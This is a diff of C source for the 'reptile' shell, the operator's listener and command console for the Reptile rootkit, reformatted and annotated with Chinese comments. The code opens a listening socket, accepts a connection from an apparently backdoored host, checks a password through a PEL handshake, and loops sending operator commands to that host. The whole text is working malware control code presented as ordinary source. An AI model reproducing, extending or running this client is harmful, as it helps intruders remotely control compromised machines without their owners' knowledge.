**parse(char *line) -{ +// 解析输入行的函数 +char** parse(char* line) { int bufsize = TOK_BUFSIZE, position = 0; - char **tokens = malloc(bufsize * sizeof(char *)); - char *token, **tokens_backup; + char** tokens = malloc(bufsize * sizeof(char*)); + char* token, ** tokens_backup; + // 如果内存分配失败,打印错误信息并退出 if (!tokens) { fprintf(stderr, "reptile: allocation error\n"); exit(EXIT_FAILURE); } + // 使用strtok函数分割命令行 token = strtok(line, TOK_DELIM); while (token != NULL) { tokens[position] = token; position++; - if (position >= bufsize) { bufsize += TOK_BUFSIZE; tokens_backup = tokens; - tokens = realloc(tokens, bufsize * sizeof(char *)); + tokens = realloc(tokens, bufsize * sizeof(char*)); if (!tokens) { free(tokens_backup); fprintf(stderr, "reptile: allocation error\n"); exit(EXIT_FAILURE); } } - token = strtok(NULL, TOK_DELIM); } tokens[position] = NULL; return tokens; } -void reptile_loop(int sock) -{ - char *line; - char **args; +// 命令行循环函数 +void reptile_loop(int sock) { + char* line; + char** args; int status; + // 循环读取命令并执行,直到接收到退出信号 do { line = readline("\e[01;32mreptile> \e[00m"); add_history(line); - args = parse(line); status = execute(sock, args); - free(line); free(args); } while (status); - clear_history(); } -void handle_shutdown(int signal) -{ +// 处理关闭连接的信号 +void handle_shutdown(int signal) { close(sockfd); exit(signal); } -void listener(int port) -{ +// 监听连接的函数 +void listener(int port) { int new_sockfd, yes = 1; struct sockaddr_in host_addr, client_addr; socklen_t sin_size; + // 创建套接字 if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { kill(pid, SIGQUIT); fatal("in socket"); } - if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == - -1) { + // 设置套接字选项,允许立即重用地址 + if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) { kill(pid, SIGQUIT); close(sockfd); fatal("setting socket option SO_REUSEADDR"); } + // 设置信号处理函数,处理关闭连接的信号 signal(SIGTERM, handle_shutdown); signal(SIGINT, handle_shutdown); + // 定义主机地址结构体 host_addr.sin_family = AF_INET; host_addr.sin_port = htons(port); host_addr.sin_addr.s_addr = INADDR_ANY; memset(&(host_addr.sin_zero), '\0', 8); - if (bind(sockfd, (struct sockaddr *)&host_addr, - sizeof(struct sockaddr)) == -1) { + // 绑定套接字到主机地址 + if (bind(sockfd, (struct sockaddr*)&host_addr, sizeof(struct sockaddr)) == -1) { kill(pid, SIGQUIT); close(sockfd); fatal("binding to socket"); } + // 监听套接字 if (listen(sockfd, 5) == -1) { kill(pid, SIGQUIT); close(sockfd); fatal("listening on socket"); - } else { + } + else { fprintf(stdout, "%s Listening on port %d...\n", good, port); } + // 接受客户端连接 sin_size = sizeof(struct sockaddr_in); - new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); - + new_sockfd = accept(sockfd, (struct sockaddr*)&client_addr, &sin_size); if (new_sockfd == -1) { kill(pid, SIGQUIT); close(sockfd); fatal("accepting connection"); } + // 打印客户端连接信息 fprintf(stdout, "%s Connection from %s:%d\n\n", awesome, inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); - // usleep(100 * 1500); - + // 如果没有设置密码,提示用户输入密码 if (password == NULL) { password = getpass("Password: "); fprintf(stdout, "\n"); } + // 初始化客户端连接 if (pel_client_init(new_sockfd, password) != PEL_SUCCESS) { close(new_sockfd); fprintf(stdout, "%s wrong password!\n\n", bad); exit(ERROR); } + // 打印欢迎信息并进入命令行循环 banner(); reptile_loop(new_sockfd); + // 关闭套接字 shutdown(new_sockfd, SHUT_RDWR); close(sockfd); } -void usage(char *argv0) -{ - fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", - argv0); +// 显示使用方法的函数 +void usage(char* argv0) { + fprintf(stderr, "Usage: %s [ -p port ] [ -s secret ]\n", argv0); exit(1); } -int main(int argc, char **argv) -{ +// 主函数 +int main(int argc, char** argv) { int opt, port = 0; + // 解析命令行参数 while ((opt = getopt(argc, argv, "p:s:")) != EOF) { switch (opt) { case 'p': @@ -781,28 +745,28 @@ int main(int argc, char **argv) } } + // 如果没有提供端口号,则显示使用方法并退出 if (port == 0) usage(*argv); + // 如果命令行参数不足,则显示使用方法并退出 if (argc <= 1) usage(argv[0]); - // printf("\n\e[01;36mReptile Shell\e[00m\n"); - // printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); - + // 打印使用密码信息 if (password != NULL) fprintf(stdout, "%s Using password: %s\n", good, password); + // 创建子进程 pid = fork(); - if (pid == -1) fatal("on forking proccess"); + // 父进程调用listener函数监听连接 if (pid > 0) listener(port); - // if (pid == 0) - // background job while we are listening + // 子进程执行后台任务(这部分代码被注释掉了) return EXIT_SUCCESS; }